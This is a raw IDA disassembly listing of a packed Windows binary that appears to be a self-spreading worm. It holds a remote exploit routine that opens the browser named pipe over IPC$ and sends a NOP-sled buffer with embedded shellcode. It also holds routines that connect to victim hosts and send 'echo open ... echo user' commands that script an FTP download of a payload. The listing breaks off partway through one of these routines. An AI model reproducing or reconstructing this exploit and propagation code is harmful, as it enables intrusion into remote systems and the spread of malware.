cmp ebx, 0FFFFFFFFh
jz loc_40441D
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call ds:dword_43C618 ; htons
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_404412
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_4043DA
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
lea eax, [ebp+0Ch]
push eax
call _strlen
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call ?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint)
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4041CB
add esp, 1Ch
jmp short loc_40440F
; ---------------------------------------------------------------------------
loc_4043DA: ; CODE XREF: UPX0:00404398j
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_4043F4
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403F8B
jmp short loc_40440C
; ---------------------------------------------------------------------------
loc_4043F4: ; CODE XREF: UPX0:004043E4j
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404412
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_403EB1
loc_40440C: ; CODE XREF: UPX0:004043F2j
add esp, 0Ch
loc_40440F: ; CODE XREF: UPX0:004043D8j
movzx esi, al
loc_404412: ; CODE XREF: UPX0:0040438Bj
; UPX0:004043FEj
push ebx
call ds:dword_43C6B0 ; closesocket
test esi, esi
jnz short loc_404428
loc_40441D: ; CODE XREF: UPX0:00404348j
push 3E8h
call ds:dword_423060 ; Sleep
loc_404428: ; CODE XREF: UPX0:0040441Bj
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_40432F
loc_404435: ; CODE XREF: UPX0:00404331j
lea ecx, [ebp-8]
call sub_4038AC
test esi, esi
jz short loc_404456
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc ds:dword_429CB8[eax]
lea eax, dword_429CB8[eax]
loc_404456: ; CODE XREF: UPX0:0040443Fj
mov eax, esi
loc_404458: ; CODE XREF: UPX0:00404327j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4225D8
loc_40445D: ; CODE XREF: sub_4225D8+3j
; sub_4225E0+11j ...
push 1
call ?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
retn
; END OF FUNCTION CHUNK FOR sub_4225D8
; [00000059 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_4044BE(void *Src,size_t Size)
sub_4044BE proc near ; CODE XREF: sub_404029+131p
Src = dword ptr 4
Size = dword ptr 8
mov eax, ds:dword_423278
push ebx
mov ebx, [esp+4+Size]
push esi
mov esi, ecx
push edi
sub eax, [esi+8]
cmp eax, ebx
ja short loc_4044D8
call sub_421E9A
loc_4044D8: ; CODE XREF: sub_4044BE+13j
test ebx, ebx
jbe short loc_40450D
mov edi, ebx
push 0
add edi, [esi+8]
mov ecx, esi
push edi
call ?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool)
test al, al
jz short loc_40450D
mov eax, [esi+8]
push ebx ; Size
push [esp+10h+Src] ; Src
add eax, [esi+4]
push eax ; Dst
call _memcpy
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_40450D: ; CODE XREF: sub_4044BE+1Cj
; sub_4044BE+2Fj
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_4044BE endp
; [000000CE BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000085 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Grow(uint,bool). PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool). PRESS KEYPAD "+" TO EXPAND]
; [00000035 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char const *,uint). PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint). PRESS KEYPAD "+" TO EXPAND]
; [000000BD BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint). PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Split(void). PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40484F proc near ; DATA XREF: UPX0:0042500Co
jmp $+5
sub_40484F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404854 proc near
mov eax, ds:dword_427BE0
add eax, 6
mov ds:dword_4397D8, eax
retn
sub_404854 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404862(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)
sub_404862 proc near ; CODE XREF: sub_404862+D0p
; sub_404950+471p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
Size = dword ptr 1Ch
Src = dword ptr 24h
Memory = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_404876
or [ebp+arg_7], 1
jmp short loc_40487A
; ---------------------------------------------------------------------------
loc_404876: ; CODE XREF: sub_404862+Cj
and [ebp+arg_7], 0FEh
loc_40487A: ; CODE XREF: sub_404862+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+Memory]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40489E
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+Size], ebx
mov [ebp+arg_C], ax
jmp short loc_4048B0
; ---------------------------------------------------------------------------
loc_40489E: ; CODE XREF: sub_404862+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+Size], eax
mov [ebp+arg_2B], 1
loc_4048B0: ; CODE XREF: sub_404862+3Aj
movzx eax, [ebp+arg_C]
push eax ; Size
mov [ebp+var_4], eax
call _malloc
test eax, eax
pop ecx
mov [ebp+Memory], eax
jz loc_404949
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+Size]
mov esi, [ebp+Src]
push edi ; Size
add eax, 18h
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+Memory]
push [ebp+arg_0]
call ds:dword_423078
test eax, eax
jz short loc_404940
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_404940
push [ebp+Memory] ; Memory
call _free
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40493C
push 0 ; char
sub ebx, edi
push [ebp+arg_24] ; int
add edi, esi
lea esi, [ebp+arg_4]
push ebx ; Memory
push edi ; Src
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0] ; int
rep movsd
call sub_404862
add esp, 2Ch
jmp short loc_40494B
; ---------------------------------------------------------------------------
loc_40493C: ; CODE XREF: sub_404862+B3j
mov al, 1
jmp short loc_40494B
; ---------------------------------------------------------------------------
loc_404940: ; CODE XREF: sub_404862+9Cj
; sub_404862+A4j
push [ebp+Memory] ; Memory
call _free
pop ecx
loc_404949: ; CODE XREF: sub_404862+61j
xor al, al
loc_40494B: ; CODE XREF: sub_404862+D8j
; sub_404862+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_404862 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_404950(size_t Size,void *Memory)
sub_404950 proc near ; CODE XREF: UPX0:00404F4Ep
var_60F0 = qword ptr -60F0h
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
Dest = byte ptr -20DCh
Dst = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
Src = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
Size = dword ptr 8
Memory = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call __alloca_probe
push ebx
push esi
push edi
push offset a_ ; "."
push [ebp+Size]
call unknown_libname_4 ; Microsoft VisualC 2-8/net runtime
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
jz short loc_4049C3
push [ebp+Size]
mov esi, 2000h
lea eax, [ebp+Dest]
push offset aSIpc ; "\\\\%s\\ipc$"
push esi ; Count
push eax ; Dest
call __snprintf
push 20h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dest]
add esp, 1Ch
mov [ebp+var_C8], eax
mov eax, offset byte_4397BC
push ebx
push eax
push eax
lea eax, [ebp+Dst]
push eax
call sub_421F50
jmp short loc_4049C8
; ---------------------------------------------------------------------------
loc_4049C3: ; CODE XREF: sub_404950+23j
mov esi, 2000h
loc_4049C8: ; CODE XREF: sub_404950+71j
push [ebp+Size]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call ds:dword_423080
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_404A0C
loc_404A05: ; CODE XREF: sub_404950+194j
; sub_404950+36Aj ...
xor al, al
jmp loc_404E50
; ---------------------------------------------------------------------------
loc_404A0C: ; CODE XREF: sub_404950+B3j
push 48h ; Size
lea eax, [ebp+var_B8]
push ebx ; Val
push eax ; Dst
call _memset
push 10h
mov [ebp+var_B8], 5
pop eax
mov [ebp+var_B7], bl
push 1
mov [ebp+var_B4], eax
pop edi
mov [ebp+var_B6], 0Bh
push eax ; Size
lea eax, [ebp+var_98]
push offset dword_427C34 ; Src
push eax ; Dst
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call _memcpy
push 10h ; Size
lea eax, [ebp+var_84]
push offset dword_427C20 ; Src
push eax ; Dst
mov [ebp+var_88], 3
call _memcpy
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call ds:dword_423078
test eax, eax
jnz short loc_404AE9
loc_404ADB: ; CODE XREF: sub_404950+265j
push [ebp+var_4]
call ds:dword_423074
jmp loc_404A05
; ---------------------------------------------------------------------------
loc_404AE9: ; CODE XREF: sub_404950+189j
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call ds:dword_423070
push ebx ; Time
call _time
push eax
call sub_4172EE
push 14h ; Size
lea eax, [ebp+Src]
push 41h ; Val
push eax ; Dst
call _memset
push 1Ch ; Size
lea eax, [ebp+var_30]
push 41h ; Val
push eax ; Dst
call _memset
add esp, 20h
call _rand
mov esi, [ebp+Memory]
mov [ebp+Src], eax
mov [ebp+var_64], edi
mov [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
cmp ds:byte_427BC8[esi], bl
jz short loc_404B60
push 4
mov [ebp+var_24], edi
mov [ebp+var_28], ebx
mov [ebp+var_2C], edi
push offset dword_4397E0
jmp short loc_404B73
; ---------------------------------------------------------------------------
loc_404B60: ; CODE XREF: sub_404950+1FCj
push 2
mov [ebp+var_28], ebx
pop eax
push 4 ; Size
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push (offset loc_427C17+1) ; Src
loc_404B73: ; CODE XREF: sub_404950+20Ej
lea eax, [ebp+var_20]
push eax ; Dst
call _memcpy
add esp, 0Ch
call _rand
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call _rand
cdq
idiv edi
mov eax, ds:dword_427BBC[esi]
mov [ebp+var_18], ebx
push eax ; Size
mov [ebp+Size], eax
inc edx
mov [ebp+var_1C], edx
call _malloc
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_404ADB
mov eax, [ebp+Size]
add eax, 0FFFFFFFEh
push eax ; Size
push 90h ; Val
push edi ; Dst
call _memset
mov eax, [ebp+Size]
push 2 ; Size
push ebx ; Val
lea eax, [edi+eax-2]
push eax ; Dst
call _memset
mov eax, ds:dword_427BC4[esi]
push 7 ; Size
add eax, edi
push offset dword_427BB0 ; Src
push eax ; Dst
mov [ebp+Memory], eax
call _memcpy
mov eax, [ebp+Memory]
push 15Ch ; Size
add eax, 7
push offset dword_427A50 ; Src
push eax ; Dst
call _memcpy
mov eax, ds:dword_427BC0[esi]
add esp, 30h
cmp ds:byte_427BC8[esi], bl
mov [ebp+Memory], eax
jz short loc_404C6C
push 4 ; Size
add eax, edi
push offset dword_4397D8 ; Src
push eax ; Dst
call _memcpy
add [ebp+Memory], 0Ch
mov esi, offset dword_427BE0
mov eax, [ebp+Memory]
push 4 ; Size
add eax, edi
push esi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+Memory]
push 4 ; Size
push esi ; Src
lea eax, [eax+edi+24h]
push eax ; Dst
mov [ebp+Memory], eax
call _memcpy
mov eax, [ebp+Memory]
push 4 ; Size
add eax, 0Ch
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 30h
jmp short loc_404C94
; ---------------------------------------------------------------------------
loc_404C6C: ; CODE XREF: sub_404950+2CDj
add eax, edi
mov [ebp+var_8], 10h
mov [ebp+Memory], eax
mov esi, offset dword_427BE0
loc_404C7D: ; CODE XREF: sub_404950+342j
push 4 ; Size
push esi ; Src
push [ebp+Memory] ; Dst
call _memcpy
add [ebp+Memory], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_404C7D
loc_404C94: ; CODE XREF: sub_404950+31Aj
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
call _malloc
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_404CBF
push [ebp+var_4]
call ds:dword_423074
push edi ; Memory
call _free
pop ecx
jmp loc_404A05
; ---------------------------------------------------------------------------
loc_404CBF: ; CODE XREF: sub_404950+358j
mov eax, [ebp+Size]
add eax, 42h
push eax ; Size
push ebx ; double
push esi ; Dst
call _memset
lea eax, [ebp+Src]
push 14h ; Size
push eax ; Src
push esi ; Dst
call _memcpy
mov eax, [ebp+Size]
mov dword ptr [ebp+var_10+4], ebx
mov dword ptr [ebp+var_10], eax
add esp, 10h
fild [ebp+var_10]
fmul ds:flt_42328C
fstp [esp+60F0h+var_60F0]
call _ceil
call __ftol
push [ebp+Size] ; Size
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi ; Src
push eax ; Dst
call _memcpy
mov eax, [ebp+Size]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+Memory], eax
jz short loc_404D2C
loc_404D24: ; CODE XREF: sub_404950+3D7j
inc eax
test al, 3
jnz short loc_404D24
mov [ebp+Memory], eax
loc_404D2C: ; CODE XREF: sub_404950+3D2j
lea ecx, [ebp+var_30]
push 1Ch ; Size
add eax, esi
push ecx ; Src
push eax ; Dst
call _memcpy
add [ebp+Memory], 1Ch
push edi ; Memory
call _free
push 18h ; Size
lea eax, [ebp+var_48]
push ebx ; Val
push eax ; Dst
call _memset
push 14h ; Size
lea eax, [ebp+var_5C]
push ebx ; Val
push eax ; Dst
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call _memset
add esp, 28h
push ebx
push ebx
push 1
push ebx
call ds:dword_42308C ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+Size+3], bl
mov dword ptr [ebp+var_10+4], ebx
loc_404D99: ; CODE XREF: sub_404950+4D3j
cmp dword ptr [ebp+var_10+4], 2
jge loc_404E2E
push 1 ; char
push 10B8h ; int
push [ebp+Memory] ; Memory
inc dword ptr [ebp+var_10+4]
push esi ; Src
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4] ; int
rep movsd
call sub_404862
add esp, 2Ch
test al, al
jz short loc_404E2B
cmp [ebp+var_4C], ebx
jz short loc_404E1D
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call ds:dword_423070
test eax, eax
jnz short loc_404E04
call ds:dword_423088 ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_404A05
loc_404E04: ; CODE XREF: sub_404950+4A1j
push 3E8h
push [ebp+var_4C]
call ds:dword_423084 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_404E1D
mov byte ptr [ebp+Size+3], 1
loc_404E1D: ; CODE XREF: sub_404950+480j
; sub_404950+4C7j
cmp byte ptr [ebp+Size+3], bl
mov esi, [ebp+var_8]
jz loc_404D99
jmp short loc_404E2E
; ---------------------------------------------------------------------------
loc_404E2B: ; CODE XREF: sub_404950+47Bj
mov esi, [ebp+var_8]
loc_404E2E: ; CODE XREF: sub_404950+44Dj
; sub_404950+4D9j
push [ebp+var_4]
mov edi, ds:dword_423074
call edi
push esi ; Memory
call _free
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_404E4A
push [ebp+var_4C]
call edi
loc_404E4A: ; CODE XREF: sub_404950+4F3j
cmp byte ptr [ebp+Size+3], bl
setnz al
loc_404E50: ; CODE XREF: sub_404950+B7j
pop edi
pop esi
pop ebx
leave
retn
sub_404950 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404E55 proc near ; CODE XREF: UPX0:00404F6Cp
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_4231DC ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_423200 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_423214 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_404F23
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_404F23
mov edi, 400h
push esi
mov esi, ds:dword_423204
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42E664
push eax
push eax
push ds:dword_4397EC
push [ebp+arg_0]
call sub_40AEDB
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Str]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_423208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_404F27
loc_404F23: ; CODE XREF: sub_404E55+50j
; sub_404E55+62j
xor eax, eax
jmp short loc_404F3E
; ---------------------------------------------------------------------------
loc_404F27: ; CODE XREF: sub_404E55+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_423220 ; closesocket
push 1
pop eax
loc_404F3E: ; CODE XREF: sub_404E55+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_404E55 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor ebx, ebx
loc_404F48: ; CODE XREF: UPX0:00404F8Ej
lea eax, [esp+14h]
push ebx
push eax
call sub_404950
pop ecx
test al, al
pop ecx
jz short loc_404F7B
push 65h
lea esi, [esp+14h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404E55
add esp, 0C0h
test eax, eax
jnz short loc_404F96
loc_404F7B: ; CODE XREF: UPX0:00404F57j
test ebx, ebx
jnz short loc_404F8A
push 7D0h
call ds:dword_423060 ; Sleep
loc_404F8A: ; CODE XREF: UPX0:00404F7Dj
inc ebx
cmp ebx, 2
jb short loc_404F48
xor eax, eax
loc_404F92: ; CODE XREF: UPX0:00404F99j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_404F96: ; CODE XREF: UPX0:00404F79j
push 1
pop eax
jmp short loc_404F92
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F9B proc near ; CODE XREF: UPX0:0040511Ap
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_4231DC ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_423200 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_423214 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_405069
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call ds:dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_405069
mov edi, 400h
push esi
mov esi, ds:dword_423204
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42E664
push eax
push eax
push ds:dword_4397EC
push [ebp+arg_0]
call sub_40AEDB
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+Str]
push 190h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push ebx
call ds:dword_423208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40506D
loc_405069: ; CODE XREF: sub_404F9B+50j
; sub_404F9B+62j
xor eax, eax
jmp short loc_405084
; ---------------------------------------------------------------------------
loc_40506D: ; CODE XREF: sub_404F9B+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_423220 ; closesocket
push 1
pop eax
loc_405084: ; CODE XREF: sub_404F9B+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_404F9B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+0Ch]
push edi
push eax
mov word ptr [ebp-10h], 2
call ds:dword_43C658 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call ds:dword_43C618 ; htons
push 6
push 1
push 2
mov [ebp-0Eh], ax
call ds:dword_423214 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4050FB
lea eax, [ebp-10h]
push 10h
push eax
push esi
call ds:dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4050DC
push esi
jmp short loc_4050F5
; ---------------------------------------------------------------------------
loc_4050DC: ; CODE XREF: UPX0:004050D7j
push 0
push 1213h
push offset dword_427C60
push esi
call ds:dword_423208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_4050FF
loc_4050F5: ; CODE XREF: UPX0:004050DAj
call ds:dword_423220 ; closesocket
loc_4050FB: ; CODE XREF: UPX0:004050C5j
xor eax, eax
jmp short loc_405141
; ---------------------------------------------------------------------------
loc_4050FF: ; CODE XREF: UPX0:004050F3j
call ds:dword_423220 ; closesocket
push 216Bh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F9B
add esp, 0C0h
test eax, eax
jz short loc_40513E
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc ds:dword_429CB8[eax]
lea eax, dword_429CB8[eax]
loc_40513E: ; CODE XREF: UPX0:00405127j
push 1
pop eax
loc_405141: ; CODE XREF: UPX0:004050FDj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405145 proc near ; CODE XREF: UPX0:00405341p
var_5A0 = byte ptr -5A0h
Str = byte ptr -1A0h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+Dst], 2
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_C], eax
mov ax, ds:word_429040
push eax
call ds:dword_43C618 ; htons
push edi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_43C698 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40525C
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call ds:dword_43C5C0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40525C
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call ds:dword_43C630 ; recv
push ds:dword_4397EC
push [ebp+arg_0]
call sub_40AEDB
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Str]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push esi
call ds:dword_43C668 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40525C
push 1F4h
call ds:dword_423060 ; Sleep
push offset byte_42E664
push offset aS_6 ; "%s\r\n"
lea eax, [ebp+Str]
push edi ; Count
push eax ; Dest
